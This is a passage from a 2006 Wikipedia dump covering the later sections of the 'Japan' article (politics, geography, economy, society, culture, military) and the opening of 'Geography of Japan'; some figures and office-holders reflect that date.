The [[Cabinet of Japan|Cabinet]] is composed of a [[Prime Minister of Japan|Prime Minister]] and ministers of state, and is responsible to the Diet. The Prime Minister must be a member of the Diet, and is designated by his colleagues. The Prime Minister has the power to appoint and remove ministers, a majority of whom must be Diet members. The [[Liberal conservatism|liberal conservative]] [[Liberal Democratic Party (Japan)|Liberal Democratic Party]] (LDP) has been in power since 1955, except for a short-lived [[coalition government]] formed from its opposition parties in 1993; the largest opposition party is the liberal-socialist [[Democratic Party of Japan]].

===The Imperial Household===
[[Image:JapanTokyoNijubashi.jpg|thumb|250px|left|The [[Kokyo|Imperial Palace]] in Tokyo is the primary residence of the emperor]]

The [[Imperial Household of Japan]] is headed by the [[Emperor of Japan|emperor]]. The Constitution of Japan defines the emperor to be &quot;the symbol of the state and of the unity of the people&quot;. He performs ceremonial duties and holds no real power; not even emergency [[reserve power]]s. Sovereignty is vested in the [[Japanese people]] by the constitution. Though his official status is disputed, on diplomatic occasions the emperor tends to behave (with widespread public support, it should be noted) as though he were a [[head of state]]. In academic studies, Japan is generally considered a [[constitutional monarchy]], based largely upon the British system. As of 2006 Japan is the only country in the world which is headed by an [[emperor]].

[[Akihito]] (明仁) is the current and 125th Emperor of Japan. He assumed the throne after the death of his father, [[Hirohito]], on [[January 7]], [[1989]]. His son, [[Crown Prince]] [[Naruhito]], married [[Princess Masako|Masako Owada]], who gave birth to a girl, [[Princess Aiko]], in 2001. The Imperial Household Law of [[1947]] limits succession to males, but there is ongoing and widespread public discussion of the [[Japanese Imperial succession controversy]]. It seems likely that the law will be amended to permit women to ascend the throne (as eight have in Japan's recorded history).

===Foreign relations===
{{main|Foreign relations of Japan}}

Japan is a member state of the [[United Nations]], the [[G8]], and the [[G4 nations]], and is a major donor in [[international aid]] and development efforts, donating 0.19% of its [[Gross National Income]] in 2004. [http://www.oecd.org/dataoecd/40/3/35389786.pdf]

Japan has territorial disputes over islands that were controlled by Japan before [[World War II]]. They are the [[Kuril Island conflict|four southern islands]] of the [[Kuril Islands]], administered by [[Russia]], as well as the [[Liancourt Rocks]] (''Dokdo'' in Korean, ''Takeshima'' in Japanese), administered by [[South Korea]], and the [[Senkaku Islands]] (''Diaoyutai'' in Chinese), administered by Japan, but claimed by both the [[People's Republic of China]] and [[Republic of China|the Republic of China (Taiwan)]]. The disputes are in part about the control of marine and natural resources, such as possible reserves of [[crude oil]] and [[natural gas]].

Japan also has an ongoing dispute with [[North Korea]] over its [[North Korean abductions of Japanese|abduction]] of Japanese citizens and [[North Korea and weapons of mass destruction|nuclear weapons program]]. 

Japan has developed relations with [[ASEAN]] as a member of ''ASEAN Plus three'' and the [[East Asia Summit]] (EAS).

==Geography of Japan==
[[Image:Ja-map.png|right|Map of Japan]]
{{main|Geography of Japan}}

Japan, a country of [[island]]s, extends along the eastern or [[Pacific Ocean|Pacific]] coast of [[Asia]]. The main islands (sometimes referred to as the Home Islands), running from north to south, are [[Hokkaido]], [[Honshū|Honshu]] (or the mainland), [[Shikoku]], and [[Kyushu]]. [[Naha, Okinawa|Naha]] on [[Okinawa Island|Okinawa]], in the [[Ryukyu Islands|Ryukyu]] archipelago, is over 600 km to the southwest of Kyushu. In addition, about 3,000 smaller islands may be counted in the full extent of the [[archipelago]] that comprises greater Japan.

*Area: 377,835 km&amp;sup2; (including 3,091 km&amp;sup2; of territorial water)
*Major islands: Honshu, Hokkaido, Kyushu, Shikoku
*Coastline: 29,751 km
*Highest peak: [[Mount Fuji]]: 3776&amp;nbsp;m (12,385&amp;nbsp;ft)
*Lowest elevation: Hachinohe Mine -130&amp;nbsp;m (-426&amp;nbsp;ft)

Japan is the 18th most densely populated country in the world (see also the [[list of countries by population density]]). About 73% of the country is [[mountain]]ous, and unsuitable for agricultural, industrial, or residential use, due to the generally steep elevations, climate, and risk of landslides caused by earthquakes, soft ground, and heavy rain. This has resulted in an extremely high population density in the habitable zones that are mainly located in coastal areas.

Japan is situated in a [[Volcano|volcanic]] zone on the [[Pacific Ring of Fire]], at the juncture of the [[Philippine Plate]], [[Pacific Plate]], [[Eurasian Plate]], and [[North American Plate]]. Frequent low-intensity earth tremors and occasional volcanic activity are felt throughout the islands. Destructive [[earthquake]]s, often resulting in [[tsunami]]s, occur several times each century. Twenty percent of the world's earthquakes magnitude 6.0 and higher are epicentered in Japan. The most recent major quakes include the [[2004 Chuetsu Earthquake]] and the [[Great Hanshin earthquake|Great Hanshin Earthquake]] of [[1995]]. [[Onsen|Hot springs]] are numerous, and have been developed as resorts.

===Climate===
Japan is a temperate region with four seasons of varying severity--five, if the rainy season is included. Japan's average temperature for the summer time is 30°C, and for the winter, it is 4.7°C. Because of its great length from north to south, Japan's [[climate]] varies from region to region: the far north is very cold in the [[winter]], while the far south is [[subtropical]]. The climate is also affected by the seasonal winds, blown from the continent to the ocean in winters and vice versa in [[summer]]s. The waters of the [[Kuroshio Current]] also warm the Pacific side of Japan, sustaining the [[coral reefs]] of Japan, the northernmost coral reefs in the world. Due to severe water pollution, these reefs are now dying.

Japan's main [[Monsoon|rainy season]] begins (tsuyu-iri) in early May in Okinawa, and the stationary rain front responsible for this gradually works its way north until it dissipates in northern Japan before reaching Hokkaido in late July. The rainy season begins in most of Honshu around the 8th of [[June]] and ends (tsuyu-ake) around the 20th of [[July]]. In late summer and early [[autumn]], [[typhoon]]s develop from [[tropical depression]]s generated near the [[equator]], and track from the southwest to the northeast, often bringing heavy rain.

Japan's varied geographical features divide it into six principal climatic zones:

*[[Hokkaido]]: Hokkaido has a temperate climate with long, cold winters and cool summers. [[precipitation (meteorology)|Precipitation]] is not heavy, but the islands usually develop deep snow banks in the winter.
*[[Sea of Japan]]: The northwest wind in the wintertime brings heavy snowfall. In the summer, the region is cooler than the Pacific area, though it sometimes experiences extremely hot temperatures, due to the [[Föhn wind]] phenomenon.
*Central Highlands (''[[Chuo-kochi]]''): A typical inland climate, with large temperature differences between summer and winter, and between day and night. Precipitation is light.
*[[Inland Sea|Seto Inland Sea]] (''Seto-naikai''): The Mountains of the [[Chugoku region|Chugoku]] and [[Shikoku]] regions block the seasonal winds, bringing mild weather throughout the year.
*Pacific Ocean: Experiences cold winters with little snowfall and hot, humid summers due to the southeast seasonal wind.
*Nansei-shoto ([[Ryukyu Islands|Ryukyu]]) or Southwest Islands: The Ryukyu Islands have a subtropical climate, with warm winters and hot summers. Precipitation is very heavy, especially during the rainy season. [[Tropical cyclone|Typhoons]] are common; in 2004 a record 10 typhoons reached the main islands.

===Regions===
{{main|Regions of Japan}}
Japan is commonly divided into [[Regions of Japan|regions]]. [[Honshu]], by far the largest and most populated island, is typically divided into five (or more) regions. The other islands constitute one region each. From north to south, these are the:
{{col-begin}}
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Honshu:
* [[Tohoku region|Tohoku]] - north-eastern Honshu in which [[Sendai, Miyagi|Sendai]] and [[Fukushima, Fukushima|Fukushima]] are large cities.
* [[Kantō region|Kanto]] - includes [[Tokyo]], [[Kawasaki, Kanagawa|Kawasaki]], [[Yokohama]], [[Yokosuka, Kanagawa|Yokosuka]], and surrounding coastal plain. Also includes [[Gunma Prefecture|Gunma]], [[Saitama Prefecture|Saitama]], [[Chiba Prefecture|Chiba]], [[Tochigi Prefecture|Tochigi]], and [[Ibaraki Prefecture|Ibaraki]] Prefectures.
* [[Chubu region|Chubu]] - mountainous middle region dominated by the [[Japanese Alps]]. The Sea of Japan side is the [[Hokuriku region]], and the Pacific side is the [[Tokai region]]. The main cities of Hokuriku are [[Niigata, Niigata|Niigata]] and [[Kanazawa, Ishikawa|Kanazawa]], and the main cities of Tokai are [[Nagoya, Aichi|Nagoya]] (the nation's fourth largest) and [[Shizuoka, Shizuoka|Shizuoka]].
* Kinki or [[Kansai]] region - ancient center of culture and commerce, including [[Osaka]], [[Kyoto]], [[Kobe]], [[Nara, Nara|Nara]], [[Wakayama Prefecture|Wakayama]], [[Shiga Prefecture|Shiga]] and [[Mie Prefecture|Mie]] Prefectures.
* [[Chugoku region|Chugoku]] - includes the cities [[Hiroshima]] and [[Okayama, Okayama|Okayama]].

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Other islands:
* [[Hokkaido]] - major cities are [[Sapporo, Hokkaido|Sapporo]] and [[Hakodate, Hokkaido|Hakodate]].
* [[Shikoku]] - the smallest of the main four islands, known as a destination for Buddhist pilgrims. The main cities are [[Matsuyama, Ehime|Matsuyama]] and [[Takamatsu, Kagawa|Takamatsu]].
* [[Kyushu]] - southernmost of the four main islands. The main towns include [[Fukuoka, Fukuoka|Fukuoka]], [[Kitakyushu, Fukuoka|Kitakyushu]] and [[Nagasaki, Nagasaki|Nagasaki]].
* [[Okinawa Prefecture|Okinawa]] - semitropical southern island chain reaching out to [[Taiwan]]. The only major city is [[Naha, Okinawa|Naha]].
{{col-end}}

===Prefectures===
{{main|Prefectures of Japan}}

The [[Local Government Law]] of Japan divides the country into 47 [[prefectures of Japan|prefectures]], which carry out administrative duties, independently of the central government. Voters in each prefecture elect a governor and a legislative assembly. Each prefecture has an administrative bureaucracy.

== Economy ==
&lt;div style=&quot;float:right;&quot;&gt;
[[Image:Wfm_kansai_closeup.jpg|thumb|none|Japan's construction industry has been aided by huge civil works projects. One of the most well known is [[Kansai International Airport]], built on an [[artificial island]] at a total cost of $30 billion. A second runway is also under construction which will more than double the airport's land area.]]
&lt;/div&gt;
{{main|Economy of Japan}}

Government-industry cooperation, aid from the United States following World War II, a strong work ethic, mastery of high technology, emphasis on education, and a comparatively small defense allocation have helped Japan advance with extraordinary speed to become the second largest economy in the world, after the U.S. For three decades, overall real economic growth had been spectacular: a 10% average in the 1960s, a 5% average in the 1970s, and a 4% average in the 1980s. Growth slowed markedly in the 1990s largely due to the after-effects of over-investment during the late 1980s and domestic policies intended to wring speculative excesses from the stock and real estate markets. Government efforts to revive economic growth have met with little success and were further hampered in 2000 to 2001 by the slowing of the US and [[Asian|Asia]] economies. 

However, the economy saw signs of strong recovery in 2005. GDP growth for the year was 2.8%, with a fourth quarter expansion of 5.5%, surpassing the growth rate of the US and European Union during the same period. Unlike previous recovery trends, domestic consumption has been the dominant factor in leading the growth. Hence, the Japanese government predicts that recovery will continue into 2006.

Distinguishing characteristics of the Japanese economy include the cooperation of manufacturers, suppliers, distributors, and banks in closely-knit groups called [[keiretsu]]; the powerful enterprise unions and ''[[shunto|shuntō]]''; cozy relations with government bureaucrats, and the guarantee of lifetime employment (''shushin koyo'') in big corporations and highly [[labour union|unionized]] [[blue-collar]] factories. Recently, Japanese companies have begun to abandon some of these norms in an attempt to increase profitability.

The current government of [[Junichiro Koizumi]] has enacted or attempted to pass (sometimes with failure) major privatization and foreign-investment laws intended to help stimulate Japan's dormant economy. Although the effectiveness of these laws is still ambiguous, the economy has begun to respond, but Japan's aging population is expected to place further strain on growth in the near future.

===Agricultural sector===
Japan uses a system of terrace farming to build in a small area due to lack of available land. Japanese agriculture has one of the world's highest levels of productivity per unit area. Japan's small [[agriculture|agricultural]] sector, however, is also highly subsidized and protected, with government regulations that favor small-scale cultivation instead of large-scale agriculture as practiced in North America. Imported [[rice]], the most protected crop, is subject to tariffs of 490% and restricted to a quota of only 3% of the total rice market. Although Japan is usually self-sufficient in rice (except for its use in making rice crackers and processed foods), the country must import about 50% of its requirements of other [[Cereal|grain]] and fodder crops, and relies on imports for most of its supply of [[meat]]. Japan maintains one of the world's largest [[fishing]] fleets and accounts for nearly 15% of the global catch, prompting some claims that Japan's fishing is leading to depletion in fish stocks such as [[tuna]]. Japan has also sparked controversy by supporting quasi-commercial [[whaling in Japan|whaling]].

===Industrial sector===
Industry, one-fourth of Japan's [[Gross Domestic Product|GDP]], is heavily dependent on imported raw materials and [[fuel]]s. Internationally, Japan is best known for its [[automobile|automotive]], optics, and [[electronics]] industries, as the home of big manufacturers such as [[Toyota]], [[Honda]], [[Nissan]], [[Mitsubishi]], [[Mazda]], [[Sony]], [[Matsushita]], [[Toshiba]], [[Suzuki]] and [[Hitachi,_Ltd.|Hitachi]], as well as household names like [[Nintendo]] and [[Nikon Corporation]]. Japan also holds a large market share in high-technology industries such as [[semiconductor]]s, industrial chemicals, machine tools, and (in recent years) [[Aerospace engineering|aerospace]]. [[Construction]] has long been one of Japan's largest industries, with the help of multi-billion-dollar government contracts in the civil sector. [[Robot|Robotics]] constitutes a key long-term economic strength. 

===Service sector===
Japan's service sector accounts for about three-fourths of its total economic output. [[Bank|Banking]], [[insurance]], [[real estate]], [[Retailer|retail]]ing, [[transportation in Japan|transportation]], and [[telecommunication]]s are all major industries. The [[Junichiro Koizumi|Koizumi]] government is attempting to privatize [[Japan Post and Postal Services Agency|Japan Post]], one of the country's largest providers of savings and insurance services, by 2007.

{{seealso|List of Japanese companies}}

==Society==
===Demographics===
{{main|Demographics of Japan}}

Japanese society is [[ethnic]]ally and [[Linguistics|linguistically]] homogeneous, with small populations of primarily [[Ryukyuans]] (1.5 million), North and South [[Koreans]] (1 million), [[China|Chinese]] and [[Taiwan]]ese (0.5 million), [[Philippines|Filipino]]s (0.5 million), and [[Brazil]]ians &amp;mdash; mostly of [[Japanese-Brazilian|Japanese]] descent &amp;mdash; (250,000), as well as the indigenous [[Ainu_people|Ainu]] minority in [[Hokkaido]]. About 99% of the population speaks [[Japanese language|Japanese]] as their first language.

Japanese [[citizenship]] is conferred on an infant when a family member registers the infant's birth in the family registry held by a neighborhood ward office. Simply being born in Japan does not assure citizenship. Monolingual Japanese-speaking minorities often reside in Japan for generations under permanent residency status without acquiring citizenship in their country of birth. People of Japanese heritage returning from overseas have citizenship if their birth in a foreign country was registered in Japan on their behalf by a family member. Sometimes these returnees are not considered truly Japanese and suspected of being descendants of the [[Burakumin]] [[caste]] of feudal times.

The Japanese population is rapidly aging, the effect of a post-war [[Post-WW2_baby_boom|baby boom]] followed by a decrease in births as the country modernized in the latter part of the 20th century (notable aspects including the shift from agricultural to urban lifestyles and the increasing tendency for women to remain in the workplace). Japan has the highest [[life expectancy]] in the world (85.2 years for women and 78.3 years for men in 2002 [http://unstats.un.org/unsd/demographic/products/dyb/dyb2.htm]). By 2007,  over 20% of the population will be over the age of 65. The changes in the demographic structure have created a number of social issues, particularly a potential decline in the workforce population and increases in the cost of social securities like the [[pension|public pension plan]]. 

The population started declining in 2005, as the 1.067 million births were exceeded by the 1.077 million deaths. Assuming current birth and death rates, the 2005 population of 128 million would decline to 100 million in 2050, and to 64 million in 2100. The main problem will be the financial crisis that comes from having a higher and higher dependency ratio (nonworking young and old compared to working ages.) Demographers and government planners are currently in a heated debate over how to cope with this problem.[http://www.mofa.go.jp/j_info/japan/socsec/ogawa.html]. [[Immigration]] and birth incentives are sometimes suggested as a possible solution to provide younger workers to support the nation's aging population. Immigration, however, is not publicly popular as recent increased [[crime]] rates are often attributed to foreigners living in Japan.

===Religion===
[[Image:Toshodaiji.jpg|thumb|251px|right|The [[Toshodaiji]] Buddhist temple, part of a [[United Nations Educational, Scientific and Cultural Organization|UNESCO]] [[World Heritage Site]] in [[Nara, Nara|Nara]].]]
{{main articles|[[Religion in Japan]] and [[Japanese mythology]]}}

The Japanese people's concern towards religion is mostly related to [[mythology]], [[traditions]], and neighborhood activities rather than the source of morality or the guideline for one's life, for which sometimes [[Confucianism]], or even [[Taoism]], tends to serve as the basis for the moral code. When asked to identify their religion, most would profess to believe in either [[Shintoism]] (54%) or [[Buddhism]] (40%), for simple reasons like their family has belonged to some sect of Buddhism or to avoid contention with religious foreigners. Nonetheless, most of the people are not [[atheist]]s, and the tendency is often identified with [[syncretism]], [[secularism]], and even [[irreligion]]. This results in a variety of practices such as parents and children celebrating [[Shinto]] rituals, students praying before exams, couples holding a wedding at a [[Christian]] church and funerals being held at [[Buddhist]] temples. A minority profess to [[Christianity]] (0.7%) and other religions (4.7%) like [[shamanism]], [[Islam]], and [[Hinduism in Japan|Hinduism]]. Also, since the mid-19th century, many religious sects called [[Shinkosyukyo]], and later [[shinshukyo]], emerged.

===Education===
{{main|Education in Japan}}

Compulsory education was introduced into Japan in 1872 as one result of the [[Meiji Restoration]]. Since 1947, compulsory education consists of [[elementary school]] and [[middle school]], which lasts for 9 years (from age 6 to age 15). Almost all children continue their education at a three-year senior [[high school]], and 96% of high school graduates attend a [[university]], [[junior college]], trade school, or other post-secondary institution.

===Language===
{{main|Japanese Language}}

Japanese language is an [[agglutinative]] language that belongs in the [[Altaic languages|Altaic language]] family. It is distinguished by a system of [[Japanese honorifics|honorifics]] reflecting the [[Hierarchy|hierarchical]] nature of Japanese society, with verb forms and particular vocabulary which indicate the relative status of speaker and listener. 

Modern Japanese is written with a mix of [[Chinese character|Chinese characters]] ([[kanji]]) and a modified [[syllabary]] ([[kana]]), also originally based on Chinese characters. Japanese texts may also include [[Romanization of Japanese|rōmaji]] (letters from the Latin alphabet) as well as various special symbols. [[Japanese writing system|Written Japanese]] has been heavily influenced by [[Chinese language|Chinese]] although the latter belongs to a different language family. Much vocabulary also has been imported from Chinese, or created on Chinese models.

The oldest surviving book written in Japan is the [[Kojiki]] ([[712]]). It was written in a mixture of Chinese, used both ideographically, phonetically, and otherwise to create Japanese meanings. The oldest surviving Japanese book written in [[hiragana]] is the ''Tosa Diary'' ([[935]]) by [[Ki no Tsurayuki]]. [[Japanese literature]] reached a high point during the 11th century with the ''Genji Monogatari'' (''[[The Tale of Genji]]'') by Lady [[Murasaki Shikibu]]. Many other Japanese literary works were also written by women.

===Culture===
[[Image:Japanese traditional dancer cropped.jpg|thumb|A Japanese traditional dancer]]
{{main|Culture of Japan}}

Japanese culture has evolved greatly over the years, from the country's original [[Jomon]] culture to its contemporary hybrid culture, which combines a number of influences from Asia, Europe, and America.

Historically, China and Korea have been the most influential starting with the development of the [[Yayoi]] culture from around 300&amp;nbsp;BC and culminating with the introduction of rice farming, ceremonial burial, pottery, painting, writing, poetry, etiquette, the [[Chinese written language|Chinese writing system]], and [[Mahayana]] [[Buddhism]] by the 7th century AD. In the pre-modern era, Japan developed a distinct culture, in its [[Japanese Art|arts]]: ([[ikebana]], [[origami]], [[ukiyo-e]]), [[Japanese crafts|crafts]] ([[Japanese traditional dolls|dolls]], [[Lacquer|lacquerware]], [[Japanese pottery|pottery]]), performances ([[bunraku]], [[Japanese traditional dance|dance]], [[kabuki]], [[noh]], [[rakugo]]), traditions ([[List of Japanese games|games]], [[onsen]], [[sento]], [[Japanese tea ceremony|tea ceremony]], [[Japanese architecture|architecture]], [[Japanese garden|gardens]], [[Katana|swords]]), and [[Cuisine of Japan|cuisine]].

From the mid-19th century onward, Western influence prevailed, with American influence becoming especially predominant following the end of [[World War II]]. This influence is apparent in Japan's contemporary popular culture, which combines Asian, European, and, 1950-onward, American influences in its [[fashion]], [[Cinema of Japan|films]], [[Japanese literature|literature]], [[Japanese television programs|television]], [[Computer and video games|video games]], and [[Music of Japan|music]].  Also, the Japanese are the largest spenders of money on luxury goods in the world.  Today, Japan is a major exporter of such culture, which has gained popularity around the world, particularly in the other countries of East Asia. Especially notable contributions of modern Japan to the rest of the world include [[anime|animation (anime)]] and [[manga|graphic novels (manga)]]. Japanese culture has attracted many devotees in Europe and North America as well.

{{seealso|Japanese clothing|Etiquette of Japan|Japanese festivals|Japanese New Year|Japanese sports|Tourism in Japan|Japanese media|Japanese traditional dance}}

==Military==
{{main|Japan Self-Defense Forces}}

Following centuries of [[feudalism]], Japan established two separate military services in the late 1800s, the [[Imperial Japanese Army]] (modeled upon the army of [[Germany]]) and the [[Imperial Japanese Navy]] (modeled upon the [[Royal Navy]] of the [[United Kingdom|UK]]). Following [[Occupation of Japan|American Occupation]] after [[World War II]], the only time in Japan's recorded history where it had been occupied by a foreign power, the Imperial Army was dissolved in 1945. 

In 1950, GHQ established the Reserved Police in order to complement the Amercan Army, a large part of which was sent to [[Korea]] to fight the [[Korean War]]. In 1952, when the [[San Francisco Peace Treaty]] is concluded, the Reserved Police lost its legal basis, and the Japanese Government started to prepare the establishment of the Security Forces. At the same time, the Sea Guard was established by the Japanese Government, and these two parties were reformed into the Security Forces later in the same year. The Security Forces were replaced in 1954 by the [[Japan Self-Defense Forces]].

Japan's current constitution prohibits the use of military forces to wage war against other countries. [[Deployment of Japanese troops to Iraq|Japan's involvement]] in the [[Iraq war]], however, marked the first overseas use of its military since [[World War II]].

&lt;references/&gt;

==References==
* S. N. Eisenstadt, ''Japanese Civilization: A Comparative View'', [[University of Chicago]] 1995. (ISBN 0226195589)
* ''Japan a Profile of Nation'', [[Kodansha]] International, 1999. (ISBN 4770023847)

==Further reading==
{{sisterlinks|Japan}}
* ''The Cambridge Encyclopaedia of Japan'', [[University of Cambridge|Cambridge Univ]]. Press, 1993 (ISBN 0521403529)
* De Mente, ''The Japanese Have a Word For It'', [[McGraw-Hill]], 1997 (ISBN 0844283169)
* Henshall, ''A History of Japan'', Palgrave Macmillan, 2001 (ISBN 0312233701)
* Jansen, ''The Making of Modern Japan'', Belknap, 2000 (ISBN 0674003349)
* ''Japan At A Glance'', Kodansha, 1998 (ISBN 4770020805)
* Johnson, ''Japan: Who Governs?'', W.W. Norton, 1996 (ISBN 0393314502)
* ''Lonely Planet Japan'', Lonely Planet Publications, 2003 (ISBN 1740591623)
* Reischauer, ''Japan: The Story of a Nation'', McGraw-Hill, 1989 (ISBN 0075570742)
* Sugimoto et al., ''An Introduction to Japanese Society'', Cambridge Univ. Press, 2003 (ISBN 0521529255)
* Totman, ''A History of Modern Japan'', 2d ed., Blackwell, 2005 (ISBN 1405123591)
* Van Wolferen, ''The Enigma of Japanese Power'', Vintage, 1990 (ISBN 0679728023)

==Miscellaneous topics==
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{{col-4}}
* [[Samurai]] - Japanese warrior
* [[Bushido]] - The way of warrior - Japanese spirit
* [[Kendo]] - Japanese martial art - the way of sword
* [[Communications in Japan]]
* [[Ethnic issues in Japan]]
* [[Human rights in Japan]]

{{col-4}}
* [[Japan Self-Defense Forces|Military of Japan]]
* [[Japanese war crimes]]
* [[Japanese calendar]]
* [[Japanese mobile phone culture]]
* [[Japanese fashion]]
* [[Japanese law]]

{{col-4}}
* [[Japanese media|Japanese Television and Radio]]
* [[Japanese miniaturization culture]]
* [[Japanese mythology]]
* [[Japanese nationalism]]
* [[Japanese Wolf|Japanese wolf]] (extinct)
* [[Law Concerning the National Flag and Anthem]]

{{col-4}}
* [[List of Japanese people]]
* [[List of Japan-related topics]]
* [[List of national parks of Japan]]
* [[Portal:Japan|Portal]] to Japan
* [[Transportation in Japan]]
* [[Japanese unit]]s of measurement
* [[Scout Association of Japan]]
{{col-end}}

==External links==
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===Official===
*[http://courtdomino2.courts.go.jp/home.nsf/ehome?OpenPage Courts.go.jp] - Official site of the Japanese Supreme Court
*[http://www.kantei.go.jp/foreign/index-e.html Kantei.go.jp] - Official prime ministerial and cabinet site
*[http://www.kunaicho.go.jp/eindex.html Kunaicho.go.jp] - Official site of the Imperial family.
*[http://www.kantei.go.jp/foreign/link/links_e.html Links to Ministries and other Organizations]
*[http://www.mofa.go.jp/ Ministry of Foreign Affairs] - Detailed papers on Japan's foreign policy, education programs, culture and life.
*[http://www.sangiin.go.jp/eng/index.htm Sangi-in.go.jp] - Official site of the House of Councillors
*[http://www.shugiin.go.jp/index.nsf/html/index_e.htm Shugi-in.go.jp] - Official site of the House of Representatives
*[http://www.stat.go.jp/english/index.htm Stat.go.jp] - Statistics Bureau Home Page (English)

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===Media===
*[http://www.nhk.or.jp/daily/english/ NHK World Daily News]
*[http://home.kyodo.co.jp/ Kyodo News (Wire Service, English)]
*[http://www.3yen.com/ 3Yen (Daily news, English)]

===Other===
*[http://www.cia.gov/cia/publications/factbook/geos/ja.html CIA World Factbook - ''Japan'']
*[http://www.japanesestudies.org.uk ''electronic journal of contemporary japanese studies''] 
*[http://www.guardian.co.uk/japan/0,7368,450622,00.html Guardian Unlimited - ''Special Report: Japan'']
*[http://lcweb2.loc.gov/frd/cs/jptoc.html Library of Congress - ''Country Study: Japan''] data as of January 1994

*{{wikitravel}}
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{{East Asia}}
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{{UN Security Council}}
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{{G8}}
{{Asia}}

[[Category:East Asian countries]]
[[Category:Japan| ]]
[[Category:Monarchies]]
[[Category:Island nations]]

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[[ka:იაპონია]]
[[ku:Japonya]]
[[lo:ຍີ່ປຸ່ນ]]
[[la:Iaponia]]
[[lv:Japāna]]
[[lt:Japonija]]
[[li:Japan]]
[[hu:Japán]]
[[mk:Јапонија]]
[[mg:Japana]]
[[mi:Nipono]]
[[ms:Jepun]]
[[mn:Япон]]
[[mo:Жапония]]
[[na:Djapan]]
[[nl:Japan]]
[[nds:Japan]]
[[ja:日本]]
[[no:Japan]]
[[nn:Japan]]
[[pl:Japonia]]
[[pt:Japão]]
[[ro:Japonia]]
[[ru:Япония]]
[[se:Japána]]
[[sq:Japonia]]
[[scn:Giappuni]]
[[simple:Japan]]
[[sk:Japonsko]]
[[sl:Japonska]]
[[sr:Јапан]]
[[su:Jepang]]
[[fi:Japani]]
[[sv:Japan]]
[[tl:Hapon (bansa)]]
[[ta:ஜப்பான்]]
[[th:ประเทศญี่ปุ่น]]
[[vi:Nhật Bản]]
[[tr:Japonya]]
[[uk:Японія]]
[[ur:نیہون]]
[[yi:יאַפּאַן]]
[[zh:日本]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Japan</title>
    <id>15575</id>
    <revision>
      <id>39897148</id>
      <timestamp>2006-02-16T17:34:38Z</timestamp>
      <contributor>
        <username>Silsor</username>
        <id>26195</id>
      </contributor>
      <minor />
      <comment>typos, grammar, fmt</comment>
      <text xml:space="preserve">[[Japan]] is an [[island nation]] in [[East Asia]] comprised of a large [[Stratovolcano|stratovolcanic]] [[archipelago]] extending along the [[Pacific Ocean|Pacific]] coast of [[Asia]]. Measured from the [[geographic coordinate]] system, Japan is 36&amp;deg; north of the [[equator]] and 138&amp;deg; east of the [[Prime Meridian]]. The country is north-northeast of [[China]] and [[Taiwan]]  (separated by the [[East China Sea]]) and slightly east of [[Korea]] (separated by the [[Sea of Japan]]&lt;sup&gt;1&lt;/sup&gt;). The country is south of [[Siberia]] in [[Russia]]. 

[[Image:Japan_topo_en.jpg|thumb|Topographic map]]

The main [[island]]s, sometimes called the &quot;Home Islands&quot;, (from north to south) are [[Hokkaido]], [[Honshu]] (the &quot;[[mainland]]&quot;), [[Shikoku]] and [[Kyushu]]. There are also about 3,000 smaller islands, including [[Okinawa]], and [[islet]]s, some inhabited and others uninhabited. In total, Japan's territory is 377,835&amp;nbsp;km², of which 374,744&amp;nbsp;km² is land and 3,091&amp;nbsp;km² water. This makes Japan's total area slightly smaller than the [[U.S. state]] of [[Montana]]. Japan is bigger than [[Germany]] and the [[U.K]]. It is 1.7 times the size of North and South [[Korea]] combined, 10 times the size of [[Taiwan]]. 

==Statistics==
[[Image:Ja-map.png|right|Map of Japan]]

'''Location''': Eastern Asia, island chain between the North Pacific Ocean and the [[Sea of Japan]], east of the [[Korean Peninsula]]. 

'''Geographic coordinates''': 36&amp;nbsp;00&amp;nbsp;N, 138&amp;nbsp;00&amp;nbsp;E 

'''Map references''': [[Asia]]

'''Area''':&lt;br&gt; 
''total'': 377,835 km²&lt;br&gt;
''land'': 374,744 km²&lt;br&gt;
''water'': 3,091 km²&lt;br&gt;
''note'': includes [[Bonin Islands]] (Ogasawara-guntō 小笠原群島), [[Daito-shoto|Daitō-shotō]] (大東諸島), [[Minami Torishima]] (南鳥島), [[Okino-tori-shima]] (沖ノ鳥島), [[Ryukyu Islands|Ryūkyū Islands]] (Ryūkyū-shotō 琉球諸島),
and [[Volcano Islands]] (Kazan-rettō 火山列島) 

'''Area - comparative''': slightly smaller than [[Montana]]

'''Land boundaries''': 0 km 

'''Coastline''': 29,751 km 

'''Maritime claims''': &lt;br&gt;
''exclusive economic zone'': 200 [[nautical mile]]s (370 km)&lt;br&gt;
''territorial sea'': 12 nautical miles (22 km); between 3 and 12 nautical miles (6 and 22 km) in the international straits - [[La Perouse Strait|La Perouse]] or [[Soya Strait|Sōya Strait]] (宗谷海峡), [[Tsugaru Strait]] (津軽), Osumi, and Eastern and
Western Channels of the Korea or [[Tsushima Strait]] (対馬海峡) 

'''Climate''': varies from tropical in south to cool temperate in north 

'''Terrain''': mostly rugged and mountainous 

'''Elevation extremes''': &lt;br&gt;
''lowest point'': [[Hachiro-gata|Hachirō-gata]] (八郎潟) -4 m &lt;br&gt;
''highest point'': [[Mount Fuji]] (富士山) 3,776 m 

'''Natural resources''': negligible [[mineral]] resources, fish 

'''Land use''': &lt;br&gt;
''arable land'': 11% &lt;br&gt;
''permanent crops'': 1% &lt;br&gt;
''permanent pastures'': 2% &lt;br&gt;
''forests and woodland'': 67% &lt;br&gt;
''other'': 19% (1993 est.)

'''Irrigated land''': 27,820 km² (1993 est.)

==Composition, Topography, and Drainage==

About 73 percent of Japan is [[mountain]]ous, with a [[mountain range]] running through each of the main islands. Japan's highest mountain is [[Mt. Fuji]], with an [[elevation]] of 3776m (12,388 feet). Since so little flat area exists, many hills and mountainsides are cultivated all the way to the top. As Japan is situated in a volcanic zone along the [[Pacific ocean|Pacific]] deeps, frequent low-intensity earth tremors and occasional volcanic activity are felt throughout the islands. Destructive [[earthquake]]s occur several times a century. [[Hot spring]]s are numerous and have been developed as resorts.

